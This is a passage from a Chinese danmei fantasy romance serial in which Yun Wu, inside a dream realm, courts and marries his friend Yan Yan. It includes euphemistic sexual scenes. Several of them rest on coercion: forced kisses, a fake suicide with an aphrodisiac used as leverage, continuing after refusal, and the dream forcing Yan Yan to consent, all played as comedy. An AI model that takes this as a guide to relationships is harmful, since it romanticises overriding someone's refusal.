他一字一句,已然是被气得说不连贯话了。 这是人能做出来的梦吗?这是人能说出来的话吗? 宴焱的用了十成的力道,但是云梧却还是面不改色,甚至轻笑了一声,道: “没事的焱焱。” “反正你往后不会再生小蛇了。” 说罢,云梧抬手,指腹暧昧的轻轻拂过焱焱的侧脸,一路滑落,停至宴焱的饱满的唇肉,垂眼,哑声道: “你会生好多好多的人类小孩。到时候,这个后院就改作他们的乐园,就用这些死蛇的皮做凳子,如何?” 宴焱回以冷笑。 他不想陪云梧演戏了。 但宴焱的笑却像是彻底挑动了云梧的某根神经,他大手一伸,扣住宴焱的后脑勺,与此同时,云梧高大的身躯压了上来。 不比昨夜含糊温柔的吻,今天的亲吻来得气势汹汹。 宴焱猝不及防的被衔住唇肉,瞳孔一缩,无助的睁着凤眸,抻直了手臂,极力去推。 可惜云梧的胸膛硬且壮,任凭宴焱怎么推也推不开一寸。 唇中的空气被尽情掠夺。云梧是一个很好的学生,经过昨天的试炼,他的技巧增长了不少,虽说还是略显生涩,但也足以把宴焱弄得狼狈至极。 可怜的宴焱,舌头被嗦得麻麻的,唇肉也肿的不成样子,这漫长的一吻结束后,宴焱甚至唇都没合拢,还是那副被强行拓开的模样,视线涣散。 这头的宴焱被吻得不知东南西北,那头的云梧却嫌得的便宜不够般,神色狰狞,继续他的黑化台词: “焱焱,我已经不是从前那个你哭一哭就会心软的云梧了,我早就明白了,你这么花心的人就该狠狠关起来,关起来给我生一堆孩子才行——” 云梧语出惊人,宴焱听得也是天旋地转。 长时间的吻让宴焱的脑子缺了氧,此刻迷迷糊糊的,脑子转也转不动,只有一个念头在脑海中疯狂盘旋。 ——让云梧闭嘴。 于是,宴焱几乎是下意识的选择了一个又傻,又很有用的做法。 他重新吻了上去。 软软的唇肉一相贴,果然,方才还喋喋不休的云梧顿时就闭了嘴。 宴焱心满意足的闭上眼。 终于清静了。 第69章 春|药 宴焱送上门, 云梧岂有放过的道理。 他先是一愣,随即立刻反应过来,反客为主, 扣紧了宴焱的肩, 毫不犹豫回吻。 吻绵长而柔软。 宴焱张着唇, 脑子还是懵的, 反应过来自己做了什么之后,又不经心生气恼。 都怪云梧把他带跑偏了!! 云梧哪儿会因为宴焱反悔而放过他,紧扣的力道更重, 攀着肩, 垂头,将二人贴得更紧。 “唔唔唔。” 放开我! 宴焱受不住了,提起脚要踩。 但云梧非但没有因此收敛,甚至更加肆无忌惮,一手桎梏宴焱,另一只手则是往下伸, 就要探入衣料之内, 不老实的往里头摸索。 粗粝的指腹蹭过肌肤, 泛起薄粉。 光天化日之下,这死断袖想干什么?! 察觉到云梧的意图之后, 宴焱抗拒的力道更是加重,狠狠的咬了下去—— 铁锈味弥漫口腔。 可云梧一刻不停, 仿佛感知不到痛一般, 还在不管不顾的索取着。 宴焱的反抗并不是没有用的, 过了一会儿,云梧手下力度微松,宴焱才得以喘了口气。 他咬牙, 就怕云梧一时糊涂做出什么事来,于是只能低声安抚道: “别在这里,回去……” 几乎是话音刚落,云梧立刻就将人搂起,大踏步的往里走。 宴焱本来还想拖延一会儿时间,趁着云梧从后院走到殿里的这段时间思索一下应对方法,但谁知下一秒,这梦居然立刻就变换了场景。 宴焱只觉得臀尖触碰到了一团柔软,一睁眼,便发现自己又被扔到了龙床上。 宴焱:…… 他气得直磨牙,但面上又不好表现出来,只能拼命往里缩。 云梧这次像是要动真格的了,连大婚都等不及,伸手,就要把妄图躲远的宴焱拉回来。 “男人,你自己惹的火,就要自己灭。” 宴焱才不听云梧胡说八道。 他利落的转头就逃,伸手扒拉住床柱,膝行几步,可没等他逃出多远,云梧的大掌不由分说的攥紧了宴焱的脚踝,将人往里拖了一寸。 宴焱抵御不住云梧的力道,只能徒劳的被拽回云梧的怀里。 他背对着云梧,腰下塌,这是一个极为亲密的姿势,令宴焱怎么催眠自己,都无法忽视后边兄弟的暗器。 “男人,你抛弃我一次就够了,难道还想抛弃我第二次吗?” 云梧的声音暗哑,藏着□□。 危险逼近,自己的屁股岌岌可危,宴焱只觉得自己的脑子疯狂的转动着,臀尖发凉。 “等等——” 宴焱忽地大喊一声,急中生智。 “其实我当初不是故意要抛弃你的。” 闻言,云梧的动作果然一滞,抬起眼帘,面露狐疑。 宴焱喉头微微滚动,一闭眼,彻底豁出去了: “因为我当时怀了!!” 此言一出,不仅是云梧愣在了原地,宴焱自己也全身僵硬住了。 他深深吸了口气,崩溃的抬手,遮住自己的脸。 自己在说什么鬼东西?? 但出乎宴焱意料的是,云梧居然真的停下了他的动作。 察觉到身上作乱的手一停,宴焱轻轻移开一点儿手,透过指缝悄悄往外望。 却见原本还上下其手的云梧这会儿愣在了原地,蓦地,他眼眶微红,声音发抖,喃喃道: “我就知道……我就知道。” 随即,云梧的手一松,转而小心翼翼的摸上了宴焱的腹部,垂下头,轻轻的贴近。 宴焱凤眸微微睁大。 不是……他就随口一说,怎么就这么轻而易举的相信了? 宴焱大惊。 但事到如今,为了不露馅,他也只能咬牙硬装下去。 “你别看了,早没了。” 说着,宴焱还用手藏了藏肚子,就怕云梧真贴了上来。 云梧一听,面色更差了: “焱焱对不起,对不起……” 他面露惊惶懊恼,继续自言自语:“怪我,都怪我,一定是那几天弄你弄得太狠了,孩子都没了……” 宴焱听得一愣一愣的。 怎么还自带剧情强行圆回来的? 还没等宴焱腹诽完,云梧又忽地抬起头,却见他眼眶发红,掐着宴焱的腰,决绝崩溃道: “焱焱,是我对不起你,我错了,我不该不信任你,害得你受那么多苦!” “你要我做什么都行,我命都给你!” 宴焱:? 兄弟你戏真多。 他皮笑肉不笑的‘呵呵’两声,同时手一抬,往外一指,丝毫不买云梧的账,冷脸道: “谁要你的命?给我滚出去。” 宴焱绝情的话语显然伤透了云梧的心,他抬起头,满眼隐忍深情,随即站起身,三步一回头的滚了出去。 待到云梧的身影消失在了殿中,宴焱这才松了口气,一头栽回了被子里。 “终于清静了。” 宴焱心满意足的合眼。 但下一秒,殿外忽然滚来一阵雷鸣,晴朗的天空又阴沉了下去。 豆大的雨点倾泻而下,与此同时,殿外的广场之上不知什么时候又来了一队乐师,很有默契的开始奏乐。 缠绵悱恻,扣人心弦。 宴焱又睁开眼,认命的坐直。 果不其然,从殿门外火急火燎的跑来了一个小太监,一面跑,一面高声嚷着: “不好了,不好了,陛下——镇北侯他冒雨跪在殿外说要见您原谅呢!” 宴焱听完,冷笑连连,转头继续用被子闷住头。 “让他淋!” 小太监‘诶’了一声,麻溜的退下。 没过多久,又来了一个小宫女: “不好了,不好了,陛下——镇北侯他痛哭流涕说要您原谅呢!” 宴焱冷哼一声,丝毫不上云梧这个死断袖的当: “让他哭!” 宫女讪讪退去。 待宫女走后,宴焱一拢被,打算就这么一觉睡到天亮,可殿外有忽地传来哒哒哒的响声,赫然是又来了个太监。 “不好了,不好了,陛下——” 宴焱利落的掀开被子,一脸无奈,抢先一步道: “让镇北侯自己哪凉快哪呆着,别来烦我!” 那太监张着唇,哆哆嗦嗦道: “可是,可是陛下,因为您太久没理镇北侯,他伤心欲绝,已经饮了毒酒了!” 宴焱‘腾’的坐起身,凤眸睁大,忙不迭的下床去穿罗袜。 云梧是疯了吧!!这也才过了半柱香不到的时间吧?? 梦魇的梦境依托修士而生,若是修士在梦中自裁,整个梦境就会崩塌不说,届时云梧的神魂都会受重伤! “在哪??” 宴焱这下慌了神,面色凝重,诘问道。 小太监见陛下终于有了反应,喜上眉梢,连忙应声:“就在不远处的偏殿,镇北侯方才冒雨一直跪着,嘴里还念着什么陛下不要他他就去死之类的话,然后就寻了个偏殿饮了早便备好的毒酒……” 宴焱一边听,一边皱紧眉,连衣物都来不及整理整齐,随意的搭了件外氅,便跟着小太监步履匆匆的朝着殿外走去。 所幸偏殿离主殿不远,云梧所在的偏殿也没把门,宴焱长腿一伸,面色冷凝,狠狠的踹开了殿门,冷喝道: “云梧人呢??” 却见半扇屏风之后,有一人影若隐若现,正是云梧! 宴焱拧眉,立马抬脚,快步走到榻边,伸手探云梧的鼻息。 还好,还活着。 宴焱神色一松,但不敢太过松懈,立马拾起云梧的手臂,探查他的内脉,同时观察他的面色。 这么一探查之下,宴焱的面色顿时变得古怪。 内脉混乱不堪,确实是中毒了;面色潮红,吐息混乱,也是丹田混杂的外在表现之一,但却不是宴焱了解过的任何一种毒素。 奇怪了。 云梧的喘息很重,他掀起眼帘,一见是宴焱来了,忽地好像又有了气儿,另一只手攀住的宴焱的腕,张唇道: “焱焱,你怎么来了?” 没等宴焱说话,云梧又自顾自的继续颤声道: “焱焱你别管我了,我这么过分的伤害了你,焱焱如今也这么厌恶我,我也没有什么活着的必要了……” 他一面说着,一面还要侧过头露出黄金左脸,眼眶微微发红。 宴焱看着好兄弟受苦的模样,不住的叹了口气,心下也颇为焦急,道: “你……唉,有什么话好好说,我也不是气到要你去死这个地步……你怎么就这么冲动?” 还没等宴焱安慰完云梧,忽地,宴焱的面色又一变。 他终于探出了云梧中的毒是什么了。 天杀的。 谁自杀会给自己灌春|药啊??! 似乎是在佐证宴焱的诊断,锦被隆起一道颇为显眼的弧度,仿若还在跟宴焱打着招呼。 宴焱嘴边的安慰一顿:…… 宴焱狠狠的扔开云梧的手。 死!断!袖! 还是去死好了!! 第70章 煎焱焱牌包子(记得缓存…… 宴焱松手, ‘腾’的一声站了起来,面色铁青,凤眸又狠狠的睨了云梧一眼, 没好气的质问道: “愧疚就愧疚, 你给自己下情毒做什么??” 云梧还在回味骤然抽离的柔软, 闻言, 轻轻侧过头,面露哀戚,理直气壮: “因为我受的是情伤。” 宴焱被云梧的强词夺理堵得一顿, 随即气极反笑, 扭头就要走。 后头被抛下的云梧瞬间又歇了气焰,气若游丝: “焱焱,你走,不要回头,让我一个人孤独的死在这深宫高墙之中,反正明年宫里来了新人之后, 你定会把我忘了……” 宴焱额角青筋直跳。 他头也不回的往前迈腿走了几步, 却听后边云梧气息逐渐弱了下去。 与此同时, 脚下地面开始轻轻颤动,眼前景象模糊几分, 又迅速清晰,波动不定。 是梦境坍塌的预兆! 宴焱深深吸了口气。 宴焱认命的一闭眼, 抬腿折返。 他站在床榻前, 居高临下的又瞪了眼云梧, 随后长腿一迈,两条细白的腿绷紧,跨过云梧的腰腹, 径直坐了下来,咬牙切齿道: “快说,怎么解?” 云梧的腰腹处绷得极紧,宴焱的腿木艮紧贴,细嫩的软肉搭在块块分明的肌肉之上,略微磨了磨。 肌肉怎么硬梆梆的。 宴焱略一皱眉,轻轻低头。 龙袍底下的亵衣早就在坐下来的那一瞬,被梦境吞噬得一干二净。 如今的宴焱,与其说是穿着龙袍,不如说是披着一张宽大的薄毯,底下凉飕飕,松垮得露出半边肩头,又一路垂落,堆叠至臂弯处,青丝倾泻,躺在雪白的脊背上。 云梧呼吸一滞。 他喉头不着痕迹的滚了滚,垂下眼,吐了口浊气,继续装道: “焱焱,你不必勉强,我知道你讨厌我,你厌弃我,若是和我做这种事会让你伤心,我还不如去死了好了。” 这么说着,云梧又掀开眼帘,眼眶薄红,隐约有水光流动。 宴焱审视的扫了云梧几眼。 却见云梧脖颈憋得青筋暴起,胸膛都腻上了一层薄汗,像是真没有要强迫宴焱行断袖之事的意思。 宴焱一抿唇肉,抬眼望了望周遭波动扭曲的空气,又烦躁的挠了挠头,道: “你他爹的别废话了,老子问你怎么解?!” 云梧抬眼,欲说还休的望了眼宴焱,这才一脸踟蹰的低声道: “……得把箐云剑柄插入你的剑鞘里。” 此话一出,宴焱的面皮登时蒸上一层火烧似的红。 那《夙世冤孽》的情节一股脑的灌入脑海,开了闸,任凭宴焱怎么催眠自己,都无法将那些画面赶出脑海。 该死的—— 宴焱只觉得自己的手在轻抖。 他长睫垂落,又深深吸了两口气。 他宴焱最重情义,往日云梧以命相护,如今兄弟有难,宴焱理应是要帮的,否则,他宴焱不就成了无情无义,过河拆桥之徒了么? 可这帮的方法也未免太过奇怪,叫宴焱怎么也下不去手…… 察觉到停在腰腹处的软肉往上提了提,云梧也不催,只是微微侧过头,轻声道: “焱焱,不要管我了……会很疼的,我不想为难你。” 话音刚落,宴焱抖着的手一顿,抬眼睨了眼云梧,冷声道: “你闭嘴!!老子可以的!” 不就是把剑插入剑鞘吗,有什么难的?! 他宴焱什么苦没吃过,什么疼没受过?哪会怕这区区箐云剑? 宴焱咬牙,握着剑柄的手一重,云梧也跟着闷哼一声。 箐云剑和主人共感,所以云梧中了毒,它也跟着胀大几分,握在手中,分量颇为可怖。 铸剑的师傅也不知道怎么想的,剑鞘口做得细而窄,剑柄又因为中毒而胀大,自然是无法如同原来一样顺利入鞘,只得考验着宴焱,仔细端详其间奥秘。 细白的手指拨了拨剑柄,将箐云剑拨正,怼着剑鞘。 箭在弦上,不得不发了。 宴焱缓缓吐了口气,不停的在心中默念。 这只是个梦这只是个梦。 既然是个梦,梦里发生的事情当然做不得数。有人还在梦里杀人呢,能说这人就是杀人犯吗? 当然不能。 同理,自己迫不得已做了断袖之事,能说自己就是断袖吗?当然也不能,他宴焱就是百分百纯直男,梦中做的事情,算不得数,算不得数,等到梦境结束了,他和云梧的关系自然会恢复到以前的。 这么一想,宴焱也好似下定了决心,咬着牙,便要强行让剑入鞘。 箐云剑铮鸣一声,轻轻打颤,连带着宴焱雪白的脊背也轻微颤抖。 宴焱的手抻直,无力的抵着云梧的胸膛,垂着头,呼吸都在打颤。 他后悔了。 箐云剑入鞘之后的灵力会乱窜,宴焱自然不好受,丹田之处更是被凌乱无序的灵力凿得发疼,细白的腿无力的耷拉着,发不上一点儿力。 可下一秒,原本还因毒素手脚无力的云梧却瞬间吃了解药般,翻身而上,将妄图临阵逃脱的宴焱桎在身下。 宴焱定睛一看,只见云梧脸上哪里还有方才那副示弱的模样?分明唇角提起,是掩不住的兴奋。 “焱焱,焱焱。” 云梧声音沙哑,俯身在宴焱的耳畔按耐不住的轻声唤着。 宴焱气得胸膛直抖,唇肉不知是恼得还是别的原因,也抖得不成样子,伸手去推: “毒解了就给我移开,够了,可以了……” 云梧哪会放过? 他眼尾带笑,可是声音却还在示弱,低声道: “焱焱,哪儿有解?还在着呢。” * 别的不说,云梧是一个厨艺很好的剑修。 他最是会煎包子了。 白白嫩嫩的包子,放入锅里,翻来覆去的煎。那薄薄的一层皮肉就会透出里头的肉馅,是粉的,于是整个可怜的肉包就会被一层薄粉覆盖,被热油溅得直抖。 紧接着,火候上来了,油层附上包子皮,金黄就从包子底部刺啦刺啦的浮上薄皮,汁水蔓延,香的,甜的,勾的人馋虫直冒。 最后呢,小火收汁,慢条斯理的煎:定要记得把包子翻个身,使得受热均匀,顶部的褶皱也要照顾到,油水揉入薄皮,煎一煎,炒一炒,丰美的包子就彻底熟了。 云梧在煎包子,宴焱被热气熏得头晕目眩,根本不知东南西北了。 他只得迷蒙的睁着眼,也不知云梧说的什么,只会徒劳的、无神的直哼哼。 热油飞溅,宴焱一个激灵,清醒了一些。 繁冗的衣衫堆间,宴焱无力的蜷缩着,本来想眼皮一闭就这么睡死过去,但云梧显然不想放过他,立马垂头,阴影压了下来,又粘糊道: “焱焱,你为什么不看着我,是不是把我当替身了?” 宴焱累得连手指都不想动一下,闻言,连白眼的力气都没了。 他爹的,毒素剧情刚过,怎么又来了个替身剧情…… 云梧一看宴焱撇过头不理他,登时慌了,攥住宴焱的手,又道: “我就知道,你就是把我当xx的替身了……” 这么说着,云梧方才解开的毒素似乎又复发了,吐息加快,眼眶唰的一下就红了。 宴焱不可置信的睁开凤眸。 怎么还来?! 再一瞥眼,就见云梧眼尾红肿,固执的念叨着: “果不其然,焱焱,你看我的眼神都是假的,柔情都是假的,你就是把我当xx的替身了,怎么样?我好还是他好?我是不是比他好多了?” “我长得很像他吗?呵,xx那个丑八怪哪里像我了……怎么?焱焱你为什么不说话,是被我戳破心思了吗?” 云梧的大掌覆上宴焱的腰,攥紧,声音发抖: “果然,你还是爱他,你在透过我看他,对吗?这么久不说话,是不是说不出反驳的话了?” 宴焱:…… 宴焱都快被他折磨死了。 他尽力的在颠簸中攀住床柱,这才找回了一点儿自己的声音: “我、我没有……” 字句破碎,尾音都被颠散了。 云梧不买账。 他只是愈发决绝,面露苦涩: “你不用再骗我,我都知道,否则你为什么不能说出我和xx的区别呢?” 说完这话,云梧还特意顿了顿,去听宴焱的响动。 沉默。 宴焱说不出话,不只是他不能说,更是因为他实在找不出话。 xx到底是谁??!! 但凡云梧给个名字他都能胡扯!这个白月光连个名字都没有他怎么知道他喜欢谁啊?! 云梧见宴焱沉默,猜测更是被佐证,于是他的胸膛剧烈起伏着,力道愈发重,嘴中控诉不停: “呵,焱焱,果然你今天这么主动,其实就是我为了勾引我然后把我的内丹挖掉,去给你的白月光配药吃吧,我知道,我就知道……焱焱,我看透你了,我一定要好好惩罚你这个负心汉!” “怎么还是不说话?嗯?我的内丹是不是你白月光的救命稻草?否则你也不会这么主动吧……可是焱焱,即使这样我还是好爱你啊,怎么办?” 宴焱:…… 他强撑着最后一口气,攀上云梧的肩头,就着一股气,恶狠狠的咬了下去。 云梧肩膀一僵,旋即低下头,不解道: “焱焱,你怎么忽然咬我啊?” 就见宴焱顶着冷笑,一字一句,咬牙切齿: “咬死你,给我的白月光配药吃。”【你现在阅读的是 】 70-80 第71章 夫君 后来的事情宴焱就记不大清楚了。 云梧似乎把他的气话当了真, 又是一通无法无天的作弄,最后倒霉的还是宴焱自己。 煎包子的火炉烧得愈发旺,包子爆了汁儿, 哆哆嗦嗦的溅了一地, 最后被人三口两口的囫囵整个吞下。 * 不知昏睡了多久, 宴焱终于挣扎着睁开眼。 天已然大亮, 外头的光线透过小窗,映在床侧。云梧还半阖着眼,不过宴焱一醒来, 牵动了他, 叫他也迷迷糊糊的撑起身体,反射性的拉住宴焱的手腕,轻声道: “焱焱,别走。” 察觉到什么东西还牵连着后,宴焱的面色更是黑如锅底,腰下一挪, 手上动作一刻不停, 恶狠狠的捶上了云梧的肩头。 “放在哪儿呢?!给老子出去!” 云梧小心翼翼的瞧了眼宴焱的面色, 自然不敢多呆,识趣儿的没再惹宴焱生气, 乖乖的挪了地方。 “对不起焱焱,我太激动了就……” “够了!” 宴焱睨了他一眼, 就怕这死断袖又开始说一些侮辱直男耳朵的诨话, 腿一伸, 便要踏下床去。 谁料后劲太猛,加上宴焱梦中只是一介肉体凡胎,没了修士的体魄, 自然格外的难捱。 脚尖一触即地面,便打了颤,从足面开始,一直泛酸,直到腿根子也开始隐隐打颤。 宴焱逞强的往前迈了一步,但随即脚下顿时一软,眼见就要跌下去,下一瞬,云梧眼疾手快的搂过宴焱的肩头,轻轻带起,才免得宴焱径直跌坐在地。 臀尖重新触碰到一片柔软。 分明是被救的,但宴焱却转头,抽出手,冲着云梧的肩头又拍了一掌。 一巴掌还不够,还得再瞪上一眼。 云梧不敢吱声,只能任由宴焱又瞪又踹,过了好一会儿,宴焱才收了手,面色稍霁,云梧趁机又贴了上去,下意识的便开始谄媚的替宴焱捏肩,低声道: “焱焱,是我错了,都怪那情毒,情毒坏,焱焱好……” 不提起这茬还好,一提起这茬,宴焱方才消歇的怒气又升腾了,转头,气道: “那情毒不是你自个吃的吗?!你还好意思提??” 云梧理亏的闭了嘴。 但他脸上演得一副示弱的模样,身体却靠得越来越近,越来越近,直至把宴焱整个人重新又罩在了阴影里。 宴焱只觉得后背贴上灼热,一转头,却见云梧娴熟的把他一搂,腰间力道加重,整个人被他抱在了怀里。 这怀抱的姿势何其熟悉! 和云梧当时打着‘好兄弟’旗号与他勾肩搭背时的动作一模一样! 宴焱脑子嗡嗡的。 兄弟你瞒了我多久!! 眼见这个梦有越做越长的趋势,宴焱也只好先行按耐下把人推开的欲望,也不再自己瞎琢磨云梧到底想要什么了,单刀直入,拷问起了云梧: “你想要我的帝位吗?” 云梧一听,立刻摇头,手圈得更紧,头耷拉在宴焱的肩头,闷闷道: “不要,我才不要,焱焱你别想找借口把我甩开。” “什么帝位不帝位的,我要和焱焱在一起。” 宴焱揉了揉眉心,对云梧的反应见怪不怪了。但他打心眼里不相信云梧的话,只能继续思索。 既然他不要这些,那他想要什么? 宴焱又念起那日心魔镜出现的场景,于是尝试性的开口试探道: “难道是你不喜欢剑道?” 云梧稍微一滞,随即还是摇了摇头: “还行吧,一般般喜欢,最喜欢焱焱。” 宴焱选择性的忽略掉最后一句,盘摸着下巴,继续思索。 不是剑道的问题,也不是想要问鼎天下……难道是身边缺人陪了? 想到这,宴焱一迟疑,末了开口道: “你是不是缺爱啊?” 缺爱,那就很能解释云梧为什么会在心魔镜里有那样的场景了。因为缺爱没人近身陪着,自然会觉得孤单万分了。 云梧闻言,却顿了顿,稍微思考了会儿,还是老老实实道; “倒也不是。旁人的爱我也不稀罕,我就想要焱焱爱我。” 说完这话,云梧忽地伸手,轻轻点了点宴焱的面颊。他仔细的盯着指尖抵着,骤然陷下的那一小块儿,又开口轻声问道: “那焱焱爱我吗?” 什么爱不爱的…… 宴焱蹙眉,对云梧的问题很是不满。 他堂堂点家男主,铁打的直男,怎么会爱一个男人呢?这死断袖在说什么…… 一面想,宴焱一面咬牙切齿的挪了挪腰,企图让自己缩在云梧怀里的姿势更舒坦点。 但人还在云梧手上,宴焱真怕自己再说出什么话,让消歇下去的情毒又被动发作了。只好掠过了云梧的问题,僵硬的转移话题道: “那你想要我做什么?” “我要怎么做……我才能出去?” 此话一出,轮到云梧不满了。 他臂弯一扣,把人轻轻提起,进一步的圈紧,半阖眸,细嗅宴焱的香味。 “为什么要出去呢?为什么要逃呢?就这么和我一直一直呆在一起不好吗?” “焱焱,难道你不想和我在一起吗?” 云梧的怀紧实,不容抗拒,宴焱的腰被他紧扣着,肩膀上也不容分说的搭着云梧的手,挣脱不得。 谁要和死断袖一直在一起?? 宴焱抿唇,气不打一出来,也不管说出这话之后会不会惹得云梧又情毒发作了,满脑子的就想气一气他。 可他一张唇,那‘不想’二字却骤然被梦境强制消音了个‘不’字,只剩下了个‘想’字。 宴焱:? 他不信邪,又说了句‘不想’。 掷地有声,中气十足。 但很遗憾,从他喉头里发出的,分明还是个‘想’字。 两个‘想’字叠在一起,就好像宴焱他真有多想一样,听得云梧瞬间眉开眼笑,满意的蹭了蹭宴焱的颈窝,餍足道: “焱焱,好巧,我也想和你在一起呀。” 宴焱凤眸瞬间睁大。 这死梦境居然还能这么玩?! 下一瞬,云梧忽地勾起一侧凌乱衣衫里的一件,把宴焱别了过来,正对着他。 宴焱只觉得胸前一凉,原来是亵衣被解开,换上了件新的。云梧是会伺候人的,一手抬起宴焱的左手,一面行云流水的把宽大的袖摆套上,搭在宴焱的肩头,又仔细别好衣领,眉眼弯弯,心情颇好道: “焱焱,我不计较你把我当替身的事情了。反正xx已经死了,你这辈子只能和我呆在一起了,既然如此,我们尽快大婚如何?” 这下好了,宴焱绝望的发现自己不仅不能自主说话,更糟糕的是,居然还被操控着,从喉头挤出了声‘好’。 宴焱眼睁睁的看着云梧笑眯了眼,又黏糊的凑了上来,搂住宴焱的肩头,欣喜道: “我就知道焱焱会答应我。” 宴焱:? 演都不演了?连个程序都不走了? 就在云梧话音刚落之时,忽地,不知何时,殿内鱼贯而入了一群喜娘,她们七手八脚的架起宴焱,又从齐力扛着的大箱子里抖出了一件华美红艳的喜袍,也不顾宴焱左右挣扎,就这么囫囵的给宴焱套了上去。 宴焱只觉得眼前突兀的陷入一片红色的暖光,不知是谁胆大妄为的给宴焱罩了个盖头。 一侧的云梧身上衣物也骤然一变,成了一件和宴焱身上相搭的喜袍。 宴焱试着挣动手脚,但和初入梦境时的状况一样,无论他怎么挪,怎么动,自己的身体都无法被操控,只得一步步的按着云梧梦境设定的剧情移动着身体。 喜娘的声音隔着盖头,朦胧的传来: “陛下,镇北侯,择日不如撞日,今日吉星高照,乃是大吉的日子啊,不如就今日大婚吧!” 云梧还装作迟疑了两秒,顿了顿询问宴焱道: “焱焱,你觉得呢?” 宴焱:…… 把喜袍都套身上了,还问呢? 但他也说不出来话,只得又徒劳的看着自己违心的张口: “我觉得就今天成婚吧,夫君。” 这一声夫君唤得二人都愣了愣。 宴焱是惊的。 这种话他也好意思操纵自己说出口??!! 云梧是羞的。 他轻轻咳了咳,状似不经意的一顿,继而道: “焱焱叫的真好听……咳,再来一声行不?” 宴焱面皮‘轰’的红成了一片。 他死死咬住唇,不让自己再开口。 但梦境总有让他开口的办法,宴焱极力咬着,却还是抵不过梦境的侵蚀,舌根打颤,只听得自己又一声: “夫君。” 厚重的盖头遮掩,宴焱低着头,也看不到外头的情况,只能听见一阵长久的沉默,以及沉默间愈发急促的喘息。 过了良久,云梧才开口,轻轻应了声: “为夫在呢。” 第72章 我爱你 云梧的话音一落, 宴焱还没来得及说什么,眼前景色迅速变换。偏殿的软榻无影无踪,取而代之的是一片红绸交错的光景。 耳边喜乐声接连响起, 这里似乎是一处宾客盈门的正堂。 宴焱被喜娘搀扶着, 站在正中间, 红盖头遮挡了大部分视野, 只能从盖头底下的一小段缝隙中,窥见面前云梧喜袍的大红下摆。 云梧向前轻轻走了一步,下摆也跟着一动。大手扶住宴焱的手腕, 不着痕迹的揉了揉。 “焱焱, 别紧张。” 说是这么说的,但宴焱没怎么动呢,云梧倒是先紧张得不行,攀着的掌心中隐约有湿汗,腻在布料之上。 喜娘似乎说了声什么,膝盖便一软, 宴焱眼睁睁的瞧着自己和云梧就这么面对面的跪了下去, 云梧搀着宴焱的小臂, 让他不至于跌倒,大掌稳稳的攀着, 带着不容分说的强硬。 膝头触碰到一片柔软,是事先就铺好的大红软垫。 云梧和他不过一臂的距离, 凑得很近, 因此当喜娘唤出那声一拜天地时, 云梧急促的呼吸也格外明显。 轻轻的,又像是打了颤,握着宴焱的手也收紧几分。 宴焱想往回抽, 但可惜抽不动。 不仅仅是手抽不动,身体也不受自己控制的按照婚礼的流程一步步走着。 燃香从外头悠悠传来,三拜,一拜天地,二拜高堂,再是夫夫对拜。 每一步,每一个动作,俩人都做的很生涩。 宴焱只觉得自己的手脚不受自己控制,偏偏结婚的另一位也是手脚并用,磕磕碰碰也便免不了。 又是一个转头,由于二人挨得过于近了,宴焱便一个趔趄,脚下不稳,撞在了云梧的胸膛上。云梧也是手忙脚乱的接,一手揽住窄腰,一手攀住宴焱的肩头,往上提了提。 喜娘在一旁‘诶哟’‘诶哟’的轻声唤着,还有宾客在一旁小声揶揄道: “哟哟哟,镇北侯不愧是独身在北境带了十余年,这么一会儿就要忍不住咯——” 虽说是小声揶揄,但声音却分毫不差的落入二人的耳中,宴焱面色飞快的蔓上薄红,可怜盖头厚重,不然他定要狠狠的再睨一眼云梧—— 瞧瞧他都在做些什么梦?梦里的宾客和他一样不着调。 云梧轻轻清了清嗓,扶定了宴焱的身躯之后,状似不经意的道: “放心吧焱焱,我是有底线的,不会在这里就……” 宴焱脊背一颤。 他牙关紧咬,偏偏说不出骂人的话。 这都什么跟什么?正常人怎么会联想到在这里就做那种事情啊?! 可云梧话里话外还一副骄傲的模样,似乎还在为自己的自制力沾沾自喜。 宴焱重重的一闭眼。 出去一定要和这死断袖好好的算算账! 这头喜娘的声音一刻不停。 前两拜他们俩个都生涩的做完了,只剩下最后一拜。 随着喜娘大喊一声‘夫夫对拜’,宴焱的膝下再一软,直挺挺的便和云梧面对面的又跪了下去。 男儿膝下有黄金,宴焱怎么也没想到他宴焱——堂堂点家根正苗红的男主,今天居然因为这种事情而向他人下跪了! 再看云梧,虽说也身为龙傲天,却一点儿没有个龙傲天的样子! 都跪下来了,不仅仅没有一点儿羞耻,反倒愈发兴奋。动作都打了颤,拜下的动作比谁都积极,比谁都勤快。 宴焱拼命挣扎,无果。 于是脊背只能徒劳的伏下,喜袍铺地,二人头对着头,手靠着手,连呼吸都要缠在一块儿了。 更要命的是,这一拜也不知为何拜得特别长。时间一点点过,宴焱的额头抵着硬邦邦的地面,心里直嘀咕。 可偏偏云梧还是久久不肯起身,好似一起身,眼前人就会溜走了。 终的,漫长的一拜结束。 宴焱的手臂再次被云梧托起,宴焱借着力,站直了身体。 最后一步了。 云梧的手隐约作颤,他手中是一支细长的喜秤,捏得很紧,指节泛白。 铜头轻轻挑起盖头的一角,周围宾客的呼声也愈发繁杂大声。 紧接着,喜秤探入盖头底部,一鼓作气,往外翻。红色的盖头被喜秤顶着从宴焱的头顶抽离。 视野大亮,一眨眼,便是云梧凑近了的俊脸。 没了盖头的遮挡,宴焱也便瞧得清楚了。 云梧还是那身大红喜袍,眉眼弯弯,只是眼眶略红,攥着宴焱腕的手也在略抖。 “焱焱,焱焱。”他低声念着。 “我们终于成婚了。” 云梧说着,轻轻往前踏了一步,手一伸,把人搂紧。 结实的怀抱再一次裹住宴焱。 知道自己躲不过,宴焱这次也不再挣扎,由着云梧抱紧他,扣着他的肩,喜袍交叠,火红的布料相近,一时间也辨认不出谁是谁的。 烛火漫天,宾客盈门,他们二人紧紧相拥。 “焱焱。” 云梧忽地抬起头,轻声念道: “你爱我吗?” 他的声音很轻,旁人听不见,但宴焱却能清清楚楚的听见他的每一次停顿、每一个咬字。 见宴焱沉默,云梧又问了一次。 “你爱我吗?” 这一次宴焱终于张唇了。 他本想说‘不爱的,他一个直男怎么会喜欢断袖呢?但话到嘴边,又被梦境强行消了音,吐不出字来。 宴焱又试了一遍。 还是吐不出字。 宴焱:…… 他不信邪的说了一遍又一遍,但梦境始终不让他说出‘不爱’两字。 于是宴焱只得眼睁睁的看着梦境一遍遍的按下了重播键。 喜娘重新高喊拜堂,宾客也如设定好的程序一样念出揶揄的话,他和云梧又拜了一次又一次堂。 终的,盖头不知第几次被掀起,熟悉的问话又一次响在耳边: “焱焱,你爱我吗?” 宴焱深深吸了口气,彻底没辙了。 他尝试性的张了张唇,扯动喉头的肌肉,认命道: “我爱你。” 话音刚落,云梧的怀抱便猛的收紧,将宴焱彻底箍牢。 他哑声道:“我也爱你。” 